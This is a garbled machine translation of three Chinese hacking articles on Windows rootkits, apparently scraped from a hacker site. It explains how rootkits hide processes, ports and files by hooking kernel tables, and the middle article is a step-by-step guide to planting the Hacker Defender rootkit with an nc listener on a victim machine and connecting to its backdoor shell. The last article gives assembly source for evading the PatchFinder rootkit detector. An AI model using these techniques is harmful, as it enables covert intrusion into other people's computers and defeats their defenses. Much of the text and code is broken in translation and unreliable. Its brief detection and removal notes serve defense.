gogoWebsite

Rootkit Learning Summary 2

Updated to 1 day ago

About rootkit information


1. Preface
2. Introduction
Three, some rootkits are exposed to hidden technology
4. Some hidden technologies coping
Five, about ring0 rootkit
Six, rootkit detection
7. Reference materials, recommendations
*************************
one. Let me say a few words that have nothing to do with technology.
*************************

two. Let's talk about rootkit.

Rootkit has a long history. Exist in Windows, Unix, Linux and other operating systems, not only limited to Windows, I only

Take the Windows platform as an example rootkit. Root is root in English, and root means, and kit means package. rootkit we can put

It is understood as a backdoor that uses many technologies to lurk in your system and contains a package with more functions, such as

There are, clear logs, add users, b7cmdshell, add delete startup services and other functions. Of course, its designers also need to use some technology

Hide yourself and make sure you are not discovered. Hide includes hidden processes, hidden files, ports, or handles, registry entries, key values, and more. total

In other words, the person who writes rootkit is cunning to use many ways to avoid being discovered.
The most familiar windows rootkits are hacker defender and nrootkit, and baiyuanfan is also used in XCON

The new idea of ​​ring3 rootkit proposed byshell, haha. And under Linux is knark.
*************************

three. Some of the rootkits are exposed to hidden technology and detection technology.

1. Delete the process object on the process double necklace.
ps: It seems that it is used a lot, and even some current account burglary programs have been used.
Now everyone usually checks the process through Task Manager (). Anyone who knows some programming knowledge knows

The service manager enumerates process information based on the NtQuerySystemInformation, which is the ZwQuerySystemInformation function. All

As we know, this Native API (native API) enumerating processes is to be linked to the process activity. Let's take a look at this structure.
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBDTES, *POBJECT_ ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK
{
NTSTATDS Status;
ULONG Information;
}IO_STATUS_BLOCK , * PIO_STATUS_BLOCK ;
typedef struct _LIST_ENTRY
{
Struct _LIST_ENTRY *Flink;
Struct _LIST_ENTRY *Blink;
}LIST_ENTRY, *PLIST_ENTRY;
Typical examples of bidirectional linked lists are process and thread chains. The internal variable PsActiveProcessHead is a LIST_ENTRY structure, in

In the data segment of the system process list, the first member is specified. Think carefully, if we take the process object from the process

Remove from the two-way linked list, then calling NtQuerySystemInformation to enumerate the process will not be

I saw our process. Then some people will worry. If the process is deleted from the linked list, will it still be run? The answer is, yes. because

DS for Windows, that is, thread dispatcher, also called task scheduler (dispatcher scheduler) uses another data link

In other words, whether the incoming thread is scheduled or not has nothing to do with the process's two-way active linked list and will not be ignored by the CPU, so there is no need to worry. 2003 pjf

This method is proposed in the security focus and the implementation code of this method is given. I will give this in the reference materials at the end of the article

URL of an article.
2. Modify the system call table (sst)
rootkit can add its own service to the system call table and then run the tasks you want to perform. He4HookInv is that.

He4HookInv is also a relatively famous Windows rootkit. Let’s take a look at the specific implementation process of He4HookInv. People didn't know before

How it is implemented, some articles introducing rootkit also mentioned one thing, but only know it is a modified SST, and there are no details.

Too much description. Until phrack magazine released some details of He4HookInv.
The methods used by He4Hook vary in different versions. There are two ways to publish. Let’s talk about the first method here. If you want

To understand the second method and the original version, please look at the reference materials at the end of the article (phrack's connection).
ZwCreateFile, ZwOpenFile, IoCreateFile, ZwQueryDirectoryFile, ZwClose These functions are

This is achieved.
mov eax, NumberFunction
lea edx, [esp+04h]
int 2eh; Syscall interface
Of course it is a main gate, and the real function call is done in Ntoskrnl. For the native API, you can see the reference

Another article I wrote in the information, "A Brief Analysis of Native API".
The system call number is stored in EAX. int 2Eh represents the interrupt handler going to the interrupt descriptor table IDT position 0x2E. Interrupt handler

Use the value in EAX as the index in the lookup table to find the final target function. This table is the system service table SST. ntoskrnl by

KeServiceDescriptorTable symbol, exports a pointer to the main SDT. We can use KeServiceDescriptorTable

Come to access SDT. Now let’s take a look at the structure of KeServiceDescriptorTable.
typedef struct SystemServiceDescriptorTable
{
SSD SystemServiceDescriptors[4];
} SSDT, *LPSSDT;
Other structures:
typedef VOID *SSTAT[];
typedef unsigned char SSTPT[];
typedef SSTAT *LPSSTAT;
typedef SSTPT *LPSSTPT;
typedef struct SystemServiceDescriptor
{
LPSSTAT lpSystemServiceTableAddressTable;
ULONG dwFirstServiceIndex;
ULONG dwSystemServiceTableNumEntries;
LPSSTPT lpSystemServiceTableParameterTable;
} SSD, *LPSSD;
The DescriptorTable pointed to by KeServiceDescriptorTable is accessible only from kernel mode. In user mode, there is an unrealized

Out of KeServiceDescriptorTableShadow. The underlying services include:
KeServiceDescriptorTable->SystemServiceDescriptors[0]
KeServiceDescriptorTableShadow->SystemServiceDescriptors[0]
Kernel Mode Graphic User Interface Service (GUI):
KeServiceDescriptorTableShadow->SystemServiceDescriptors[1]
In all versions before WinNt4 (SP3-6) and Win2k build 2195, other elements of DescriptorTable are idle when written


, each element in the table is an SSID structure, containing the following data:
lpSystemServiceTableAddressTable pointer table, when the relevant system call is enabled, it points to the called function memory address array.


dwFirstServiceIndex points to the start address of the first function
dwSystemServiceTableNumEntries Number of services in the table
lpSystemServiceTableParameterTable represents the number of bytes entering and leaving the stack.
To get the system call, He4HookInv replaces KeServiceDescriptorTable with a pointer-

>SystemServiceDescriptos[0]. lpSystemServiceTableAddressTableIn and points to the table it belongs to


You can enter He4HookInv by adding your own services to the system call table. He4HookInv will update the following two tables:
- KeServiceDescriptorTable
- KeServiceDescriptorTableShadow.
However, if He4HookInv only updates KeServiceDescriptorTable, the new service item will not be called in user mode. for

To locate the KeServiceDescriptorTable Shadow, the following technology will be used: The KeAddSystemServiceTable function can be inward

The kernel driver layer adds services and can be added to both tables at the same time. If its 0 indicator is the same, by scanning

The KeAddSystemServiceTable function code can find the address of the shadow table, which can be found in the file.


Check how it is implemented in the FindShadowTable(void) function. If this method fails, He4Hook uses a hardcoded address

((KeServiceDescriptorTable-0x230) to locate the location of the ShadowTable. This address has not changed from WinNT-sp3.

Another problem is how to find the number of the system service. This is actually very simple, because the function bodies of the system service have the following form (mov

eax, NumberFunction), so we just add 1bytes to the function address of the system service to get the corresponding edit of the system service

Number.
The second method used by He4HookInv is to modify the callback table of DRIVER_OBJECT in the file system driver, so I won't explain it in detail here.


3. Port hidden
Many people check whether they are in the * or backdoor, and they will check the ports opened by their own machine to determine whether there is a * monitor.

And some rootkits start to think about how to hide the port.
The simplest enumeration of the currently open port information is the AllocateAndGetTcpTableFromStack in the call and

AllocateAndGetUdpTableFromStack function, or AllocateAndGetTcpExTableFromStack and

AllocateAndGetUdpExTableFromStack function.
DWORD WINAPI AllocateAndGetTcpTableFromStack(
OUT PMIB_TCPTABLE *pTcpTable,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);
DWORD WINAPI AllocateAndGetUdpTableFromStack(
OUT PMIB_UDPTABLE *pUdpTable,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);
DWORD WINAPI AllocateAndGetTcpExTableFromStack(
OUT PMIB_TCPTABLE_EX *pTcpTableEx,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);
DWORD WINAPI AllocateAndGetUdpExTableFromStack(
OUT PMIB_UDPTABLE_EX *pUdpTableEx,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);
There is another way. When the program creates a socket and starts listening, it has an open handle for it and the open port

. We enumerate all open handles in the system and send them to a specific buffer via NtDeviceIoControlFile

, to find out whether this handle is an open port. This will also give us information about the port. Because there are too many open handles,

To we only detect that the type is File and the name is \Device\Tcp or \Device\Udp. There is only this type and name for opening the port.
And by looking at the code. You will find that these functions also call NtDeviceIoControlFile and send it to a


A specific buffer to get a list of all open ports in the system. In other words, we can hook up the NtDeviceIoControlFile function


Hide the port.
Let's take a look at the prototype of NtDeviceIoControlFile
NTSTATUS NtDeviceIoControlFile(
IN HANDLE FileHandle
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
Let's take a look at the description of these parameters in "The Undocumented Functions-Microsoft Windows NT_2000"
FileHandle
HANDLE to Device Object opened as a file.
Event
Optional HANDLE to Event Object signalled on the end of processing request.
ApcRoutine
Optional pointer to user's APC Routine called on the end of processing request.
ApcContext
User's parameter to ApcRoutine.
IoStatusBlock
IO result of call.
IoControlCode
IO Control code [IOCTL_*].
InputBuffer
User's allocated buffer with input data.
InputBufferLength
Length of InputBuffer, in bytes.
OutputBuffer
User's allocated buffer for result data.
OutputBufferLength
Length of OutputBuffer, in bytes.
The main thing is

FileHandle,IoStatusBlock,IoControlCode,IoControlCode,InputBufferLength,OutputBuffer,OutputB

ufferLength。
Excerpted from "Let yourself "disappear" in the NT series operating system".
I won’t mention the technology about port hiding. Because I have already said it very clearly in the article I mentioned, it is a waste of space when writing it.
jiurl has also mentioned a method of hiding ports and has given the code. There is the article URL in the reference material.
4 File hidden.
The way to find a file in certain directories in WINNT is to enumerate all the files in it and all the files in its subdirectories. document

The enumeration is to use the NtQueryDirectoryFile function.
NTSTATUS NtQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);
Description of these parameters in The Undocumented Functions-Microsoft Windows NT_2000
FileHandle
HANDLE to File Object opened with FILE_DIRECTORY_FILE option and FILE_LIST_DIRECTORY 


access.
Event
Optional HANDLE to Event Object signaled after query complete.
ApcRoutine
Optinal pointer to user's APC routine queued after query complete.
ApcContext
Parameter for ApcRoutine.
IoStatusBlock
IO result of call.
FileInformation
User's allocated buffer for output data.
Length
Length of FileInformation buffer, in bytes.
FileInformationClass
Information class. Can be one of:
FileDirectoryInformation
FileFullDirectoryInformation
FileBothDirectoryInformation
FileNamesInformation
FileOleDirectoryInformation
ReturnSingleEntry
If set, only one entry is returned.
FileMask
If specified, only information about files matches this wildchar mask will be returned.
RestartScan
Used with ReturnSingleEntry parameter. If set, NtQueryDirectoryFile continue enumeration 


after last enumerated element in previous call. If no, returns the first entry in 


directory.
Important parameters related to hidden files are FileHandle, FileInformation, FileInformationClass.
There is too much relevant information in FileInformationClass, and only four of them are important.
FileDirectoryInformation
FileFullDirectoryInformation
FileBothDirectoryInformation
FileNamesInformation
Structure of FileDirecoryInformation record to be written to FileInformation:
typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;


FileFullDirectoryInformation:
typedef struct _FILE_FULL_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
WCHAR FileName[1];
} FILE_FULL_DIRECTORY_INFORMATION, *PFILE_FULL_DIRECTORY_INFORMATION;


FileBothDirectoryInformation:
typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
UCHAR AlternateNameLength;
WCHAR AlternateName[12];
WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION, *PFILE_BOTH_DIRECTORY_INFORMATION;


FileNamesInformation:
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
This function writes a list of these structures in FileInformation. For us, only 3 variables in these structure types are


Important.
NextEntryOffset is the offset address of the item in this list. The first item is at address FileInformation+0, so the second item is


The address is NextEntryOffset of FileInformation+the first item. NextEntryOffset of the last item is 0.
FileName is the full name of the file.
FileNameLength is the file name length.
If we want to hide a file, we need to notify these 4 types separately. For each type of return record we need to do with our plan


Compare names for hidden files. If we intend to hide the first record, we can move the structure behind forward with the length of the


The length of a structure, which will cause the first record to be rewritten. If we want to hide any other one, we just need to change it easily


Just change the value of NextEntryOffset of the previous record. If we want to hide the last record, change its NextEntryOffset


is 0, otherwise the value of NextEntryOffset should be the sum of the record we want to hide and the previous NextEntryOffset value. Of course


After modifying the value of the Unknown variable of the previous record, it is the index of the next search. Take a record before the record you want to hide


Change the value of the Unknown variable to the value of the Unkown variable we want to hide.
If no record that should have been visible is found, we return STATUS_NO_SUCH_FILE.
#define STATUS_NO_SUCH_FILE 0xC000000F
Same as hidden port. For details, please see "Let yourself "disappear" in the NT series operating system".
5. Let’s talk about the ring3 rootkit idea proposed by baiyuanfan on xcon. It is to achieve synchronous and asynchronous ports by attaching the native API


Reuse. Use self-deletion and resurrection to hide traces and not be detected.
**********************************

Four. Some hidden technologies to deal with

As mentioned earlier, you can break through if you delete process objects from the two-way linked list of processes. A smart person had already thought of it just now.


The linked list required by NtQuerySystemInformation has been tampered with. But the windows dispatcher scheduler uses it


The linked list is different. Then we can list the process by reading another linked list used by the windows dispatcher scheduler.


In other words, you can directly list processes by reading KiWaitInListHead and KiWaitOutListHead, which breaks through the two-way modification


Methods for hiding processes in linked lists. pjf's code is given in the hidden process by reading KiWaitInListHead.
However, this detection method was soon broken, which was to replace the kernel's process link list.
Some people have also proposed to use the HOOK SwapContext method to detect. As long as the threads scheduled by the processor cannot escape.
Some people don't know much about this function. Let me talk about this function.
In WINDOWS 2K/NT/XP system, the processor's scheduling object is a thread, the process currently processed by the CPU in a certain period of time in a non-SMP OS


There is only one possible. Each process allocates a specific CPU time slice to achieve execution purpose, and the system's CPU clock interrupt determines each


The time slice assigned by the process. That is, the process scheduling request generated when the system CPU clock interrupt is triggered. Processor clock interrupt occurs


KiDispatchInterrupt() will be called to compare the time slices allocated by the current process. If it is used up, KiQuantumEnd() will be called after the root


According to the priority and other information of each thread, use a specific scheduling algorithm to select a new thread (ETHREAD), and then return it to a value, an ETHREAD


Structure is used as a parameter to call SwapContext() to set the parameters in ETHREAD and EPROCESS, and replace the phase in KPCR


The thread switching should be completed, and the thread (ETHREAD) scheduled to another process (EPROCESS) will continue to execute. It can be said that the CPU thread


Switching is inseparable from the SwapContext function. Of course, the threads executed by the rootkit will be switched through the SwapContext function to make it the CPU


deal with.
After that, someone proposed to replace the thread's scheduling to avoid this kind of detection.
In my opinion, this detection method will take up a lot of resources, after all, the CPU thread switching is very frequent. If anyone has the conditions, you can check it out by yourself


, how many thread switching will occur in one second.
In the sixth part I will talk about rootkit detection.
*************************

Five, about ring0 rootkit

There are spears and shields, and there are *s and antivirus software, but in this endless tug-of-war between the two sides, *s are always at a disadvantage.


Especially now, the strangulation of *s by antivirus software has really reached the point of "doing everything to the extreme". Why can antivirus software last for a long time


In a dominant position? There is only one reason: antivirus software/firewall is preconceived, with RING0 as the main one, RING3 as the auxiliary one, and all sizes are taken


Of course the advantage. The war between *s and antivirus software/firewalls is an asymmetric war, just like the base and the United States. * from a naked


The remote control software of naked network software has developed into rebound *s, DLL *s, and now the "invisible" *s, the holy clothes they wear


Becoming thicker and thicker. But a new * was just born and was soon collected by antivirus software, blacklisted, and chased everywhere. Today


A "good *" must have characteristics such as no process, no port, and difficulty in detecting and killing. However, in traditional RING3, I think the * technology has already


There is not much room for development, so you must go to RING0 and let it go with the antivirus software/firewall under equal conditions. Advance to RING0,


Jing is the new development direction of * horses.
Compared with traditional *s, what are the advantages of RING0 *s? Let's take a look:
1. No process.
After the RING0 * is compiled, it is a SYS file, which is inserted into the process and runs in the process like the DLL file. But the DLL is inserted in the address


The user area under 0x80000000, and the RING0 * is inserted into the system area with address above 0x80000000, and all processes are shared, only


If it does not provide an unload routine itself, it is almost impossible to be uninstalled, and there are not many tools to list the SYS modules loaded in the system.
2, no port.
RING0 * can directly control network card sending and receiving packets, the system and firewall are not aware of it, so it can use any port and any protocol.


Or break through the blockade of the firewall by invalidating the NDIS driver of the firewall.
3. It is difficult to detect, difficult to detect and kill, and has strong survivability. However, to write such a good horse, you need to be very familiar with the system kernel and communication protocol.


Only experts can be competent, especially the functions exported by the three system modules must be very familiar with


. In addition, installing the RING0 * requires administrator or above permissions. If you only obtain GUEST permissions of the meat machine, you also need to find a way to increase the rights


Only limits. The above description of RING0 * is just an idea. I have not implemented it with code, and I don’t know if anyone has written it.


I hope someone will correct such a *. However, for programming enthusiasts, this is a big challenge. Being able to write it is enough


Prove your ability!
**************************

Six, rootkit detection

Rootkit, like viruses, is "attention" by antivirus software manufacturers. As mentioned above in the about ring0 rootkit, it is a game.

An endless tug-of-war. Many people who love technology also like to challenge them, so the rootkit detection technology continues to increase. for example

EPA (Perform path analysis). If rootkit is used to achieve hidden purposes by modifying system calls (as mentioned in the third part of the article

Sample. ), then it will definitely be different from the normal system. When the path of the system call changes, we compare it with the

By analyzing, the existence of rootkit can be detected. Of course, this also has its disadvantages. Check every time the system call occurs, then

It's like the HOOK SwapContext above. It will consume a lot of resources in the system. Second, it is difficult to achieve.
There is also anti-virus methods, just like dealing with viruses. But this method is very passive. And there are many undisclosed rootkits, so

Not very effective.
There is also a new kind of detection method, which is differential testing. But it's easy to break through. It's estimated that the next one

rootkit can be spared...
To detect some rootkits, you can use pjf's icesword, which is a very excellent detection tool. ICE enumeration process is used

There is only one way. Don't think he can find anything. ps: However, do not call out softice when using it, otherwise it will crash.

Anti-debug mechanism for ice. You can also try zzzevazzz's knlsc. However, it is very difficult to completely remove after detection, so it may not be done

It will cause system failure. It is still important to prepare for early prevention. Here are some ways to prevent rootkits. As for defense

Rootkit is still a must-have antivirus software, and some rootkits that have been known will be investigated and killed. Some settings can prevent rootkit from implanting,

For example, access to \Device\PhysicalMemory is prohibited. Disable the driver to load system calls. However, if the settings are too strict, there will be problems.

I remember that I set it randomly at that time, which caused BSOD when I implanted the rootkit...
This article comes from Hacker Base - the world's largest Chinese hacking station. Original link: /tech/2009-11-
03/
========

Introduce a kernel-level rootkit and deletion method when running under NT system

After invading a computer, we always want to leave a back door to facilitate our incoming future. Now there are a lot of free online
I used the back door and it was easier to find out (if you use Fport, you can see which program opens which port),
Although Lion's Ping backdoor does not open the port, it still adds an ssms service. People will discover it in a moment.
After searching online for a long time, I finally found a very good Rootkit. Haha! This is the "Hacker Defender" item
The previous version was 0.73. You can download it in / (Some friends need agents to access it)
Go to this Rootkit.
What special features does this Rootkit have? First, after downloading and decompressing, we will take a look. There should be the following files:
------------------------------------------------------------------
50 688 b - program Hacker defender v0.7.3
1 661 b - inifile with default settings
30 208 b - backdoor client
48 640 b - redirectors base
15 553 b - czech version of help file
15 523 b - help file
-------------------------------------------------------------------
hxdef073 is the main program, don’t run it! ! ! !
It's a configuration file
Connecting to the backdoor client
Turning program (similar to port forwarding)
Czechoslovakian description document
English description documents


We need to use Rootkit to configure the ini file. Open My brief introduction
Here are the instructions options
--------------------------------------------------------------
[Hidden Table]; List to hide, support wildcard characters, such as here
hxdef*; any of the ones starting with hxdef will not be in the task manager and resource management
;The tool appears, you can add the one you want to hide here
; Files, directories and processes, one line
[Root Processes]; Here you can see the hidden process in the list and support wildcard characters
hxdef* ;For example, if I like to use Wollf, then add
;Start here, so that telnet can see hidden in Wollf
;Dongdong in the list.
[Hidden Services]; Here is a list of services to hide, supports wildcard characters,
HackerDefender*; there are some problems here, I will talk about it below


[Hidden RegKeys]: Here is the Regkey for hidden registry
HackerDefender073
LEGACY_HACKERDEFENDER073


[Hidden Regvalues] ; Here are the values ​​that hide the registry


[Startup Run]: This is what Dongdong wants to run after the Rootkit is started. Add it here.
;For example, c:sys
?-L -p 100 -t -e
;In this way, nc will run and listen to both after the Rootkit is started 100


[Settings] 
Password=hxdef-rulez; Set the password to connect to the backdoor here, please change it yourself :)
BackdoorShell=hxdef?.exe; After connecting to the shell name, Rootkit will copy one copy; one copy, and run it

It will be deleted after completion
ServiceName=HackerDefender073; installed service name
DisplayName=HXD Service 073; Displayed service name
ServiceDescription=powerful NT rootkit; service description.

[Comments] ; Annotation
--------------------------------------------------------------------
After everyone configures the ini file,
 
 
Copy is enough to run it on the other party's machine. There is no need to restart the machine, and the Rootkit will start working!
If the other party opens WWW, FTP, and SMTP, we can connect to it
Usage: bdcli073 IP port Password
For example, the other party's IP is 192.168.0.1 www port is open at 80, and the password of the Rootkit is hxdef-rulez
Then we can open a CMD and use this "bdcli073 192.168.0.1 80 hxdef-rulez"
In a while, the other party's "c:winntsystem32" will appear in front of us, which can be communicated using port 80.
You can pass through some firewalls, haha! I'll test it myself. The DNS service on port 53 can also be used as a communication port.
Ha ha! It's much better than the ordinary backdoor, no new port is opened, and the Administrator uses the system's own work
We cannot find the files, processes, and services we hide! ! ! Yes, it's service, haha,
Administrator is also invisible in the service manager! ! That's not invincible in the world! ! NO!NO!NO!NO!
There are some flaws here for some reasons, although Administrator cannot be seen in the task manager
The Wollf process, but Fport can see the Wollf listening port 7614, dizzy~
The author wrote on his homepage that he is adding this function, and the next version will add some code, then
Netstat -a -n and Fport will not be able to find hidden ports, (I originally wanted to be in the new article
I wrote it again when the version was released, but I missed it on the * Forum (I made an advertisement).
This article was caused by premature birth :)) There are some flaws, because of the rootkit's own reasons, "it
is possible to hide registry keys and values, services and files during 
remote sessions." (This is the original text, please check the dictionary yourself) In fact, it is impossible to hide perfectly.
I've tested "DameWare NT Utilities"& (tools in W2k Resource Kit)
You can see hidden services, but you can't see hidden processes, which is imperfect, so we can
Use "DameWare NT Utilities"& to delete this Rootkit to run,
Select remove a service, and then select HackerDefender073. You can also do it with the same method.
The premise is that you know the name of the Rootkit installation service. Maybe the hacker will change it to another name. Haha, that's easy to do.
Open the service manager and compare two, and there is a service that appears but no
If it appears in the service manager, then you have to pay attention! ! Note the file path and file name and start with floppy disk
, because that won't start Rootkit. Find out if there is an ini with the same file name as that. If so,
Open it and see what it is inside? The method of deletion is also very simple. Just delete the exe and the ini file with the same name.
So, the Rootkit will not run when it is started next time. It is best to reinstall the system, but who knows it still remains
What other backdoors, and if it is 2k, your password will probably be known. Plus clone account HoHo~
I don't know...

Postscript: I didn’t want to write this article very much. After writing it, many domestic machines are going to suffer again. I really
I don't know if I'm right or wrong about writing this article. Some good network administrators may have raised their security awareness, while others are correct.
Safety is called "writing" is just a waste of time. Some people can play with some websites on their palms just by using a glacier.
If someone is a Rootkit......

Also, I am a rookie myself and have nothing to do with this author, although I really want to write a Rootkit like this
But the level is too low, far from enough. The author wrote on the homepage that the next version will be released on 3.1. Interested friends
Friends can follow the author's homepage. Friends who cannot access the author's homepage, I have put this in my homepage space.
It's here, you can download it through the following link ./rootkit/
========

Bypassing Windows Rootkit detection system


from:xfocus 

[introduce]

PatchFinder is a very cleverly designed program, based on EPA (execution path analysis) technology to detect rootkits that invade the kernel.


Appendix 1 and 2 can give you an idea of ​​how it works. This article will provide a way to bypass EPA.


[method]


EPA is based on the single-step mode of Intel processor and uses the 0x01 entry of the interrupt descriptor table (IDT). To prevent Rootkit from modifying this


Ingress, it uses debug registers (DR0, DR1) to protect debug handlers (very good idea). The 0x1 entry is protected by the DR0 register.


The interrupt handler is protected by the DR1 register. (Note 1:)
But let's read Inter Manual [3] again: "Each debug address register (DR0 to DR3) holds the line of the 32-bit breakpoint


". Note: Linear address! Under Windows 2000/XP, the linear address is converted into physical addresses through the paging mechanism. Assume


The base address of IDT is 0x8003F400 and is stored in IDTR, so the 0x01 entry address of IDT is 0x8003F408. Intel About IDTR


Description: "The base address indicates the 0x00 entry address of IDT." The page directory pointed to by the CR3 register under WIndows 2000/XP is mapped to


Linear address 0xC0300000. Linear address is composed of directories, tables and offsets. Through the paging mechanism, we convert 0x8003F408 to physics.


The address is 0x03F00 (derived from the experiment). Now all we have to do is create a buffer, get a pointer to the buffer and modify it


The page directory and page table make this buffer point to the physical address 0x03F00. Then, what is written to this buffer will be written to the IDT, and


And the PatchFinder protection mechanism will not be triggered. Debugging registers simply cannot protect memory because they cannot protect physical memory.


[source code]


Here is the source code, compiled by MASM v8.0. Because I like assembly language :-) Complete source code can be found in


arrive.


;---Define IDTR structure-------
DIDTR STRUCT         ;IDTR 
dLIMIT     WORD     ? 
ibase     DWORD     ? 
DIDTR ENDS 
;----------------------- 


ByepassIDTProtection PROC 


    LOCAL dbgHandler:DWORD 


    LOCAL myIDT:DIDTR 


    LOCAL idtbase:DWORD 
    LOCAL idtbaseoff:DWORD 
    LOCAL idtPDE:DWORD 
    LOCAL idtPDEaddr:DWORD 
    LOCAL idtPTE:DWORD 
    LOCAL idtPTEaddr:DWORD 


    LOCAL varbase:DWORD 
    LOCAL varbaseoff:DWORD 
    LOCAL varPDE:DWORD 
    LOCAL varPDEaddr:DWORD 
    LOCAL varPTE:DWORD 
    LOCAL varPTEaddr:DWORD 


    LOCAL diffoffset:DWORD 


    pushad 


; Allocate a page-sized memory (allocated from a non-paged pool)
    invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h 
    mov varbase,eax 
    
cli                                   ;Remember to recover


invoke DisablePageProtection     ;An old trick to use for XP, Regmon


    sidt myIDT 
    mov eax, 
    add eax,08h 
mov idtbase,eax                 ;idtbase = IDT's base address + 8 bytes


and eax,0FFC00000h           ;Get the directory index of the IDT address
    shr eax,22 
shl eax,2                   ;Multiple with 4


mov ebx,0C0300000h           ;0C0300000 = Page Directory
add ebx,eax                   ;ebx = [page directory + directory index*4]
    mov idtPDEaddr,ebx 


    mov eax,[ebx] 
mov idtPDE,eax                   ;eax = Page directory entry (PDE) of IDT address
    
    mov eax,idtbase 
and eax,oFFFh                   ;Get the lower 12 bits of the IDT address =     In-page offset


idtbaseoff,eax 


    mov eax,idtbase 
shr eax,12                 ; Get the upper 12 digits of the IDT address
shl eax,2                   ;Multiple with 4


mov ebx,0C000000h             ;Process page table maps in 4MB space starting from 0xC00000000
    add ebx,eax 
mov idtPTEaddr,eax           ;The address of the PTE of the IDT address


    mov eax,[ebx] 
mov idtPTE,eax                   ;Get the PTE of this address


    mov eax,varbase 


and eax,0FFC00000h           ;Get varbase’s page directory index
    shr eax,22 
    shl eax,2 


    mov ebx,0C0300000h 
    add ebx,eax 
    mov varPDEaddr,ebx 
    
    mov eax,[ebx] 
    mov varPDE,eax 
    
    mov eax,varbase 
    and eax,0FFFh 
    mov varbaseoff,eax 


    mov eax,varbase 
    shr eax,12 
    shl eax,2 


    mov ebx,0C0000000h 
    add ebx,eax 
    mov varPTEaddr,ebx 


    mov eax,[ebx] 
    mov varPTE,eax 


mov eax,varPDEaddr         ;Modify PDE to the same as IDT0x01
    mov ebx,idtPDE 
    mov [eax],ebx 
    
mov eax,varPTEaddr         ;Modify PTE to the same as IDT0x01
    mov ebx,idtPTE 
    mov [eax],ebx 


mov ebx,idtbaseoff           ; Correct the in-page offset
    mov eax,varbaseoff 
    sub ebx,eax 


;Now we can use linear addresses to write something into the 0x01 descriptor of IDT without triggering the debug register


    mov eax,varbase 
    mov dword ptr [eax+ebx],0DEADBEEFh 


mov eax,varPDEaddr         ;Restore the original value
    mov ebx,varPDE 
    mov [eax],ebx 


mov eax,varPTEaddr         ;Restore the original value
    mov ebx,varPTE 
    mov [eax],ebx 


invoke EnablePageProtection     ;Restore the WP flag of the CR0 register


    sti 


    popad 
    ret 


BypassIDTProtection ENDP 
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
EnablePageProtection PROC 


    push eax 
    mov eax,CR0 
    and eax,0FFFEFFFFh 
    mov CR0,eax 
    pop eax 
    ret 


EnablePageProtection ENDP 
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
DisablePageProtection PROC 


    push eax 
    mov eax,CR0 
    or eax,NOT 0FFFEFFFFh 
    mov CR0,eax 
    pop eax 
    ret 


DisablePageProtection ENDP 
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 


[The Future of Rootkit]


Unfortunately, this method makes EPA useless. If Microsoft doesn't change its security structure, there is no way to stop it in the future


rookits. In the future, rootkits will make great achievements in the paging mechanism, and there are infinite possibilities. Once you enter Ring 0, then forever


In Ring 0.


[refer to]


[1] Joanna Rutkowska, Advanced Windows 2000 Rootkit Detection (Advanced Rootkit Detection Technology)
    [2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2 
    [3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3 


Note 1:


This picture cannot be drawn, even if it is drawn, the reader may not be able to see it clearly (because the drawing is too simple-_-). I'll add here


Here is the principle of using debug registers to protect addresses. First, the 4 debug registers DR0-DR4 save 4 linear addresses, and then pass DR7


